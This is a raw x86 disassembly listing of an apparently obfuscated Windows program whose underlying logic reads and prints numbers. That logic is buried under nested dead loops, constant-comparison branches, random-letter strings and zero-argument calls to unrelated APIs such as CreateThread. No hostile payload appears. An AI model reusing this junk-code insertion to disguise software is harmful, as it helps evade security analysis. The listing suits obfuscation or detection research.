lea ecx, [ebp - 0x2974]
call fcn.00417bb8
push dword [eax]
lea eax, [ebp - 0x304c]
push eax
lea ecx, [ebp - 0x2e6c]
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx eax, al
test eax, eax
je 0x4d0756
jmp 0x4d0707
push 1
push dword [ebp - 0x254]
lea ecx, [ebp - 0x2974]
call fcn.00417bb8
push dword [eax]
lea eax, [ebp - 0x30c4]
push eax
lea ecx, [ebp - 0x2e6c]
call fcn.00417c57
mov ecx, eax
call fcn.00417c76
push dword [ebp - 0x254]
lea ecx, [ebp - 0x2974]
call fcn.00417bb8
push eax
lea ecx, [ebp - 0x2964]
call fcn.00417d45
jmp 0x4d0707
lea ecx, [ebp - 0x2964]
call fcn.00417baf
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2964]
call fcn.00417baf
dec eax
mov dword [ebp - 0xfa0], eax
jmp 0x4d07df
mov eax, dword [ebp - 0xfa0]
dec eax
mov dword [ebp - 0xfa0], eax
cmp dword [ebp - 0xfa0], 0
jl 0x4d0809
push dword [ebp - 0xfa0]
lea ecx, [ebp - 0x2964]
call fcn.00417bb8
push dword [eax]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d07d2
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2964]
call fcn.00417aef
lea ecx, [ebp - 0x2974]
call fcn.00417aef
lea ecx, [ebp - 0x2e6c]
call fcn.00417c4a
mov edx, dword [ebp - 0x290c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1904], 0x76f1
mov dword [ebp - 0x2914], str.sjykabeun_epevg_htwgadttc_glyrpild_tghklfjae_tdrpksf_swbetfvkw
cmp dword [ebp - 0x1904], 0x7845
jle 0x4d0965
and dword [ebp - 0x63c], 0
jmp 0x4d087f
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0x23d1
jge 0x4d0965
and dword [ebp - 0xcfc], 0
jmp 0x4d08a5
mov eax, dword [ebp - 0xcfc]
inc eax
mov dword [ebp - 0xcfc], eax
cmp dword [ebp - 0xcfc], 0x2a8d
jge 0x4d0960
and dword [ebp - 0x644], 0
jmp 0x4d08cb
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0x578e
jge 0x4d095b
and dword [ebp - 0xfa8], 0
jmp 0x4d08f1
mov eax, dword [ebp - 0xfa8]
inc eax
mov dword [ebp - 0xfa8], eax
cmp dword [ebp - 0xfa8], 0x675f
jge 0x4d0956
mov eax, dword [ebp - 0x63c]
sub eax, dword [ebp - 0xcfc]
sub eax, dword [ebp - 0x644]
and eax, dword [ebp - 0xfa8]
cdq
mov dword [ebp - 0x1d70], eax
mov dword [ebp - 0x1d6c], edx
push dword [ebp - 0x1d6c]
push dword [ebp - 0x1d70]
lea ecx, [ebp - 0x3828]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3828]
call fcn.00401711
jmp 0x4d08e4
jmp 0x4d08be
jmp 0x4d0898
jmp 0x4d0872
mov dword [ebp - 0x294c], str.tgxrsnpfg_wplyry_pcuwrliy_jlxcqx_bsojalf_cfi_pbrasrbni_svqbjb_svvxxij_fqvdn_eidjp_qaoqnk
cmp dword [ebp - 0x1904], 0x7567
jge 0x4d0987
push dword [ebp - 0x2914]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x19b4], 0x55fc
jle 0x4d0a0d
and dword [ebp - 0x64c], 0
jmp 0x4d09a9
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 0x7a94
jge 0x4d0a0d
and dword [ebp - 0xd04], 0
jmp 0x4d09cb
mov eax, dword [ebp - 0xd04]
inc eax
mov dword [ebp - 0xd04], eax
cmp dword [ebp - 0xd04], 0x6a06
jge 0x4d0a0b
mov eax, dword [ebp - 0x64c]
cdq
idiv dword [ebp - 0xd04]
mov eax, edx
cdq
mov dword [ebp - 0x1d7c], eax
mov dword [ebp - 0x1d78], edx
push dword [ebp - 0x1d78]
push dword [ebp - 0x1d7c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d09be
jmp 0x4d099c
mov dword [ebp - 0x19ac], 0xb6e
mov dword [ebp - 0x291c], 0x1cdc
cmp dword [ebp - 0x291c], 0x57b
jge 0x4d0f9b
push 4
pop eax
shl eax, 1
and dword [ebp + eax - 0x2db8], 0
push 4
pop eax
shl eax, 0
and dword [ebp + eax - 0x2db8], 0
push 4
pop eax
imul eax, eax, 0
and dword [ebp + eax - 0x2db8], 0
push 4
pop eax
imul eax, eax, 5
mov dword [ebp + eax - 0x2db8], 1
push 4
pop eax
shl eax, 2
mov dword [ebp + eax - 0x2db8], 1
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2db8], 1
push 4
pop eax
shl eax, 3
mov dword [ebp + eax - 0x2db8], 2
push 4
pop eax
imul eax, eax, 7
mov dword [ebp + eax - 0x2db8], 2
push 4
pop eax
imul eax, eax, 6
mov dword [ebp + eax - 0x2db8], 2
push 4
pop eax
imul eax, eax, 0xb
mov dword [ebp + eax - 0x2db8], 3
push 4
pop eax
imul eax, eax, 0xa
mov dword [ebp + eax - 0x2db8], 3
push 4
pop eax
imul eax, eax, 9
mov dword [ebp + eax - 0x2db8], 3
push 4
pop eax
imul eax, eax, 0xe
mov dword [ebp + eax - 0x2db8], 4
push 4
pop eax
imul eax, eax, 0xd
mov dword [ebp + eax - 0x2db8], 4
push 4
pop eax
imul eax, eax, 0xc
mov dword [ebp + eax - 0x2db8], 4
push 4
pop eax
imul eax, eax, 0x12
mov dword [ebp + eax - 0x2db8], 5
push 4
pop eax
imul eax, eax, 0x11
mov dword [ebp + eax - 0x2db8], 5
push 4
pop eax
shl eax, 4
mov dword [ebp + eax - 0x2db8], 5
push 4
pop eax
imul eax, eax, 0xf
mov dword [ebp + eax - 0x2db8], 5
push 4
pop eax
imul eax, eax, 0x15
mov dword [ebp + eax - 0x2db8], 6
push 4
pop eax
imul eax, eax, 0x14
mov dword [ebp + eax - 0x2db8], 6
push 4
pop eax
imul eax, eax, 0x13
mov dword [ebp + eax - 0x2db8], 6
push 4
pop eax
imul eax, eax, 0x19
mov dword [ebp + eax - 0x2db8], 7
push 4
pop eax
imul eax, eax, 0x18
mov dword [ebp + eax - 0x2db8], 7
push 4
pop eax
imul eax, eax, 0x17
mov dword [ebp + eax - 0x2db8], 7
push 4
pop eax
imul eax, eax, 0x16
mov dword [ebp + eax - 0x2db8], 7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
shl eax, 2
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
imul eax, eax, 5
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 6
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
imul eax, eax, 7
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
shl eax, 3
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 9
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
imul eax, eax, 0xa
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
imul eax, eax, 0xb
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 0xc
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
imul eax, eax, 0xd
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
imul eax, eax, 0xe
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 0xf
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
shl eax, 4
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
imul eax, eax, 0x11
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 0x12
mov dword [ebp + eax - 0x2d50], 4
push 4
pop eax
imul eax, eax, 0x13
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
imul eax, eax, 0x14
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
imul eax, eax, 0x15
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 0x16
mov dword [ebp + eax - 0x2d50], 1
push 4
pop eax
imul eax, eax, 0x17
mov dword [ebp + eax - 0x2d50], 2
push 4
pop eax
imul eax, eax, 0x18
mov dword [ebp + eax - 0x2d50], 3
push 4
pop eax
imul eax, eax, 0x19
mov dword [ebp + eax - 0x2d50], 4
lea ecx, [ebp - 0x2ad4]
call fcn.004016ac
lea eax, [ebp - 0x134c]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x134c]
mov dword [ebp - 0x2924], eax
mov eax, dword [ebp - 0x134c]
dec eax
mov dword [ebp - 0x134c], eax
cmp dword [ebp - 0x2924], 0
je 0x4d0f90
lea eax, [ebp - 0x2934]
push eax
lea eax, [ebp - 0x1400]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
lea edx, [ebp - 0x2ad4]
mov ecx, 0xac75e0
call fcn.0041c262
lea edx, [ebp - 0x2ad4]
mov ecx, 0xac75e0
call fcn.0041c262
and dword [ebp - 0x1d0], 0
lea ecx, [ebp - 0x2ad4]
call fcn.0040175f
mov dword [ebp - 0x292c], eax
and dword [ebp - 0xfc], 0
or dword [ebp - 0x358], 0xffffffff
jmp 0x4d0e50
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x292c]
jge 0x4d0f6f
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x2ad4]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x20
jne 0x4d0e99
mov eax, dword [ebp - 0x1d0]
add eax, dword [ebp - 0x1400]
mov dword [ebp - 0x1d0], eax
or dword [ebp - 0x358], 0xffffffff
jmp 0x4d0f6a
cmp dword [ebp - 0x358], 0xffffffff
je 0x4d0ecc
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x2ad4]
call fcn.0040174b
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x358]
mov ecx, dword [ebp + ecx*4 - 0x2db8]
cmp ecx, dword [ebp + eax*4 - 0x2ebc]
je 0x4d0f19
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x2ad4]
call fcn.0040174b
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x1400]
imul ecx, dword [ebp + eax*4 - 0x2e54]
add ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x1d0], ecx
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x2ad4]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x41
mov dword [ebp - 0x358], eax
jmp 0x4d0f6a
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x2ad4]
call fcn.0040174b
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x1400]
imul ecx, dword [ebp + eax*4 - 0x2e54]
add ecx, dword [ebp - 0x2934]
add ecx, dword [ebp - 0x1d0]
mov dword [ebp - 0x1d0], ecx
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x2ad4]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x41
mov dword [ebp - 0x358], eax
jmp 0x4d0e43
push fcn.0041c2ab
push dword [ebp - 0x1d0]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
jmp 0x4d0db6
lea ecx, [ebp - 0x2ad4]
call fcn.00401711
mov dword [ebp - 0x2944], str.mforsfgf_nvgyf_fgeipbaw_hunc_ylypacexk_kromdx_wmg_ucqfx_ynolwiqoe_ojqywqui_ckxxeca
cmp dword [ebp - 0x19ac], 0xeea
jle 0x4d1054
push 0
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
and dword [ebp - 0x654], 0
jmp 0x4d0fd3
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 0x4bed
jge 0x4d1054
and dword [ebp - 0xfb0], 0
jmp 0x4d0ff5
mov eax, dword [ebp - 0xfb0]
inc eax
mov dword [ebp - 0xfb0], eax
cmp dword [ebp - 0xfb0], 0x3e27
jge 0x4d104f
mov eax, dword [ebp - 0x654]
imul eax, dword [ebp - 0xfb0]
cdq
mov dword [ebp - 0x1d88], eax
mov dword [ebp - 0x1d84], edx
push dword [ebp - 0x1d84]
push dword [ebp - 0x1d88]
lea ecx, [ebp - 0x3258]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3258]
call fcn.00401711
jmp 0x4d0fe8
jmp 0x4d0fc6
mov dword [ebp - 0x293c], 0x1f16
cmp dword [ebp - 0x293c], 0x1023
jge 0x4d111f
lea eax, [ebp - 0x19a4]
push eax
lea eax, [ebp - 0x1418]
push eax
push str._d__d_n
call fcn.004f117c
add esp, 0xc
cmp dword [ebp - 0x19a4], 0xa
jne 0x4d10e7
cmp dword [ebp - 0x1418], 1
jne 0x4d10a8
push 0xab5cc8
call fcn.004f1b87
pop ecx
jmp 0x4d10e5
push 0xab5a78
call fcn.004f1488
pop ecx
and dword [ebp - 0x1408], 0
jmp 0x4d10c9
mov eax, dword [ebp - 0x1408]
inc eax
mov dword [ebp - 0x1408], eax
mov eax, dword [ebp - 0x1418]
dec eax
cmp dword [ebp - 0x1408], eax
jge 0x4d10e5
push 0xab5a68
call fcn.004f1488
pop ecx
jmp 0x4d10bc
jmp 0x4d111f
and dword [ebp - 0x1410], 0
jmp 0x4d10fd
mov eax, dword [ebp - 0x1410]
inc eax
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp - 0x1410]
cmp eax, dword [ebp - 0x1418]
jge 0x4d111f
push dword [ebp - 0x19a4]
push 0xab5680
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d10f0
mov eax, dword [ebp - 0x65c]
add eax, dword [ebp - 0xd0c]
or eax, dword [ebp - 0x664]
cdq
mov dword [ebp - 0x1da0], eax
mov dword [ebp - 0x1d9c], edx
cmp dword [ebp - 0x19ac], 0x7b9
jge 0x4d1156
push dword [ebp - 0x2944]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x19b4], 0x55d2
jge 0x4d1172
mov edx, dword [ebp - 0x294c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x19bc], 0x25d
mov dword [ebp - 0x2a94], str.qmbsf_yse_geyo_ieuq_rwjgsv_pongopk_qnnqhyqe_jqavfaxds
cmp dword [ebp - 0x19bc], 0x5db
jle 0x4d13ff
and dword [ebp - 0x66c], 0
jmp 0x4d11ac
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0x431e
jge 0x4d13ff
mov dword [ebp - 0x2954], 0x18e3
cmp dword [ebp - 0x2954], 0x5d6
jge 0x4d135c
xor eax, eax
inc eax
je 0x4d135c
push 0x1bb5bdc
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [0x1bb5bdc], 0
jne 0x4d11fe
jmp 0x4d135c
and dword [ebp - 0xfb8], 0
jmp 0x4d1214
mov eax, dword [ebp - 0xfb8]
inc eax
mov dword [ebp - 0xfb8], eax
mov eax, dword [ebp - 0xfb8]
cmp eax, dword [0x1bb5bdc]
jge 0x4d123e
mov eax, dword [ebp - 0xfb8]
lea eax, [eax*4 + 0x299d910]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d1207
mov ecx, 0x2df1990
call fcn.004e9c82
push dword [0x1bb5bdc]
mov ecx, 0x2df1990
call fcn.00417fe5
and dword [ebp - 0x360], 0
jmp 0x4d126e
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x360]
cmp eax, dword [0x1bb5bdc]
jge 0x4d1301
and dword [ebp - 0x410], 0
jmp 0x4d1296
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x410]
cmp eax, dword [0x1bb5bdc]
jge 0x4d12fc
lea eax, [ebp - 0x2a84]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x2a84], 1
jne 0x4d12fa
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 0x360]
mov eax, dword [eax*4 + 0x299d910]
cmp eax, dword [ecx*4 + 0x299d910]
jge 0x4d12fa
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x360]
mov ecx, 0x2df1990
call fcn.004180a6
mov ecx, eax
call fcn.00417a74
jmp 0x4d1289
jmp 0x4d1261
or dword [ebp - 0x2a8c], 0xffffffff
lea eax, [ebp - 0x2a8c]
push eax
mov eax, dword [0x1bb5bdc]
lea edx, [eax*4 + 0x29a0958]
mov ecx, 0x29a0958
call fcn.0041c902
pop ecx
push 0
call fcn.004cb9fb
pop ecx
test eax, eax
jne 0x4d133f
push str.impossible_n
call fcn.004f1488
pop ecx
jmp 0x4d1357
push 4
pop eax
imul eax, eax, 0
push dword [eax + 0x29a0958]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d11d6
and dword [ebp - 0xd14], 0
jmp 0x4d1372
mov eax, dword [ebp - 0xd14]
inc eax
mov dword [ebp - 0xd14], eax
cmp dword [ebp - 0xd14], 0x1f44
jge 0x4d13fa
and dword [ebp - 0x674], 0
jmp 0x4d1394
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0x6492
jge 0x4d13f5
mov eax, dword [ebp - 0x66c]
mov ecx, dword [ebp - 0xd14]
sar eax, cl
or eax, dword [ebp - 0x674]
cdq
mov dword [ebp - 0x1d94], eax
mov dword [ebp - 0x1d90], edx
push dword [ebp - 0x1d90]
push dword [ebp - 0x1d94]
lea ecx, [ebp - 0x3a20]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3a20]
call fcn.00401711
jmp 0x4d1387
jmp 0x4d1365
jmp 0x4d119f
push dword [ebp - 0x1d9c]
push dword [ebp - 0x1da0]
mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x19bc], 0xffffffd7
jge 0x4d142a
push dword [ebp - 0x2a94]
call fcn.004f1488
pop ecx
jmp 0x4d053c
cmp dword [ebp - 0x19c4], 0x4fbd
jge 0x4d1447
push dword [ebp - 0x2a9c]
call fcn.004f1488
pop ecx
jmp 0x4d0310
cmp dword [ebp - 0x19cc], 0x287a
jge 0x4d1468
mov edx, dword [ebp - 0x2a50]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d0250
cmp dword [ebp - 0x19d4], 0x34a7
jge 0x4d1485
push dword [ebp - 0x2a6c]
call fcn.004f1488
pop ecx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
and dword [ebp - 0xd1c], 0
jmp 0x4d14ad
mov eax, dword [ebp - 0xd1c]
inc eax
mov dword [ebp - 0xd1c], eax
cmp dword [ebp - 0xd1c], 0x50fe
jge 0x4d1a9a
and dword [ebp - 0x684], 0
jmp 0x4d14d3
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 0x7a5d
jge 0x4d1a95
and dword [ebp - 0xfc8], 0
jmp 0x4d14f9
mov eax, dword [ebp - 0xfc8]
inc eax
mov dword [ebp - 0xfc8], eax
cmp dword [ebp - 0xfc8], 0x888
jge 0x4d1a90
mov dword [ebp - 0x19f4], 0x448a
mov dword [ebp - 0x25d4], str.nnumddawv_ygilijn_jxybbljy_vxblga_yareis_hvpakcjy_ebotwhr_tnchkjcd_jhvvau_yxcc_kpg_dcixdytq_bbuxicekd_vrnahv
cmp dword [ebp - 0x19f4], 0x4854
jle 0x4d15c3
and dword [ebp - 0xfc0], 0
jmp 0x4d1543
mov eax, dword [ebp - 0xfc0]
inc eax
mov dword [ebp - 0xfc0], eax
cmp dword [ebp - 0xfc0], 0x2b5d
jge 0x4d15c3
and dword [ebp - 0x67c], 0
jmp 0x4d1565
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 0x2486
jge 0x4d15be
mov eax, dword [ebp - 0xfc0]
and eax, dword [ebp - 0x67c]
cdq
mov dword [ebp - 0x1dac], eax
mov dword [ebp - 0x1da8], edx
push dword [ebp - 0x1da8]
push dword [ebp - 0x1dac]
lea ecx, [ebp - 0x3288]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3288]
call fcn.00401711
jmp 0x4d1558
jmp 0x4d1536
mov eax, dword [ebp - 0xd1c]
cdq
idiv dword [ebp - 0x684]
and edx, dword [ebp - 0xfc8]
mov eax, edx
cdq
mov dword [ebp - 0x1dd0], eax
mov dword [ebp - 0x1dcc], edx
mov dword [ebp - 0x1bac], 0x18ae
cmp dword [ebp - 0x1bac], 0xd95
jge 0x4d1720
lea eax, [ebp - 0x2fc]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x2fc]
lea ecx, [ebp - 0x2bf0]
call fcn.004179d7
and dword [ebp - 0x68c], 0
jmp 0x4d1639
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
mov eax, dword [ebp - 0x68c]
cmp eax, dword [ebp - 0x2fc]
jge 0x4d1667
push dword [ebp - 0x68c]
lea ecx, [ebp - 0x2bf0]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4d162c
mov dword [ebp - 0x19e4], 0x3b9aca07
or dword [ebp - 0x19ec], 0xffffffff
and dword [ebp - 0x228], 0
jmp 0x4d168e
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
cmp eax, dword [ebp - 0x2fc]
jge 0x4d1701
push dword [ebp - 0x228]
lea ecx, [ebp - 0x2bf0]
call fcn.00417bb8
mov eax, dword [eax]
sub eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x2fc]
lea eax, [eax + ecx - 1]
cdq
idiv dword [ebp - 0x2fc]
imul eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x228]
mov dword [ebp - 0x19dc], eax
mov eax, dword [ebp - 0x19dc]
cmp eax, dword [ebp - 0x19e4]
jge 0x4d16ff
mov eax, dword [ebp - 0x19dc]
mov dword [ebp - 0x19e4], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x19ec], eax
jmp 0x4d1681
mov eax, dword [ebp - 0x19ec]
inc eax
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2bf0]
call fcn.00417aef
cmp dword [ebp - 0x19f4], 0x4288
jge 0x4d1738
push dword [ebp - 0x25d4]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x17fc], 0x28c0
mov dword [ebp - 0x25dc], str.jdhseum_xovwjmhvx_hiythq_uegieuw_rtrpbmogw_pinfnaomf_ysqsoslp_sng_nsklbeyal_llk_gbteteokq_bxqbeignd
mov dword [ebp - 0x1914], 0x6c04
mov dword [ebp - 0x1bbc], str.pjx_cglap_npdg_qlb_rpjhscn_snmpipbi
cmp dword [ebp - 0x1914], 0x6cb9
jle 0x4d1933
mov dword [ebp - 0x1bb4], 0x1aad
cmp dword [ebp - 0x1bb4], 0xa9f
jge 0x4d18a2
lea eax, [ebp - 0x2a98]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
lea ecx, [ebp - 0x1b34]
call fcn.004179ca
and dword [ebp - 0x1420], 0
and dword [ebp - 0xd24], 0
jmp 0x4d17c5
mov eax, dword [ebp - 0xd24]
inc eax
mov dword [ebp - 0xd24], eax
mov eax, dword [ebp - 0xd24]
cmp eax, dword [ebp - 0x2a98]
jge 0x4d1818
lea eax, [ebp - 0x19c8]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0xd24], 0
jle 0x4d180a
cmp dword [ebp - 0x19c8], 1
jne 0x4d180a
lea eax, [ebp - 0x1420]
push eax
lea ecx, [ebp - 0x1b34]
call fcn.00417d45
mov eax, dword [ebp - 0x19c8]
mov dword [ebp - 0x1420], eax
jmp 0x4d17b8
lea eax, [ebp - 0x1420]
push eax
lea ecx, [ebp - 0x1b34]
call fcn.00417d45
lea ecx, [ebp - 0x1b34]
call fcn.00417baf
push eax
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
and dword [ebp - 0x694], 0
jmp 0x4d1858
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
lea ecx, [ebp - 0x1b34]
call fcn.00417baf
cmp dword [ebp - 0x694], eax
jae 0x4d188c
push dword [ebp - 0x694]
lea ecx, [ebp - 0x1b34]
call fcn.00417bb8
push dword [eax]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d184b
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x1b34]
call fcn.00417aef
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
and dword [ebp - 0xfd0], 0
jmp 0x4d18c8
mov eax, dword [ebp - 0xfd0]
inc eax
mov dword [ebp - 0xfd0], eax
cmp dword [ebp - 0xfd0], 0x1776
jge 0x4d192b
and dword [ebp - 0x69c], 0
jmp 0x4d18ea
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 0x5493
jge 0x4d1929
mov eax, dword [ebp - 0xfd0]
mov ecx, dword [ebp - 0x69c]
sar eax, cl
cdq
mov dword [ebp - 0x1db8], eax
mov dword [ebp - 0x1db4], edx
push dword [ebp - 0x1db4]
push dword [ebp - 0x1db8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d18dd
jmp 0x4d18bb
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
cmp dword [ebp - 0x17fc], 0x29fb
jle 0x4d1a21
and dword [ebp - 0xd2c], 0
jmp 0x4d1959
mov eax, dword [ebp - 0xd2c]
inc eax
mov dword [ebp - 0xd2c], eax
cmp dword [ebp - 0xd2c], 0xa17
jge 0x4d1a21
and dword [ebp - 0x6a4], 0
jmp 0x4d197f
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0x4556
jge 0x4d1a1c
and dword [ebp - 0xfd8], 0
jmp 0x4d19a5
mov eax, dword [ebp - 0xfd8]
inc eax
mov dword [ebp - 0xfd8], eax
cmp dword [ebp - 0xfd8], 0x61e2
jge 0x4d1a17
and dword [ebp - 0x6ac], 0
jmp 0x4d19c7
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 0x6dd5
jge 0x4d1a15
mov ecx, dword [ebp - 0xd2c]
and ecx, dword [ebp - 0x6a4]
mov eax, dword [ebp - 0xfd8]
cdq
idiv dword [ebp - 0x6ac]
or ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x1dc4], eax
mov dword [ebp - 0x1dc0], edx
push dword [ebp - 0x1dc0]
push dword [ebp - 0x1dc4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d19ba
jmp 0x4d1998
jmp 0x4d1972
jmp 0x4d194c
cmp dword [ebp - 0x1914], 0x6bbf
jge 0x4d1a3d
mov edx, dword [ebp - 0x1bbc]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x1dcc]
push dword [ebp - 0x1dd0]
lea ecx, [ebp - 0x3858]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3858]
call fcn.00401711
cmp dword [ebp - 0x17fc], 0x2523
jge 0x4d1a8b
mov edx, dword [ebp - 0x25dc]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d14ec
jmp 0x4d14c6
jmp 0x4d14a0
cmp dword [ebp - 0x14b8], 0x54df
jge 0x4d1ab6
mov edx, dword [ebp - 0x1bc4]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x17a0], 0x42eb
jge 0x4d1ace
push dword [ebp - 0x2868]
call fcn.004f1488
pop ecx
lea eax, [ebp - 0x1760]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x1964], eax
mov dword [ebp - 0x17b0], 0x4dc1
mov dword [ebp - 0x1bcc], 0x2653
cmp dword [ebp - 0x1bcc], 0x4b5
jge 0x4d1d80
mov dword [ebp - 0x2e58], 0xc
lea eax, [ebp - 0x14c0]
push eax
lea eax, [ebp - 0x13dc]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
push dword [ebp - 0x13dc]
lea ecx, [ebp - 0x2c80]
call fcn.004179d7
and dword [ebp - 0xd34], 0
jmp 0x4d1b58
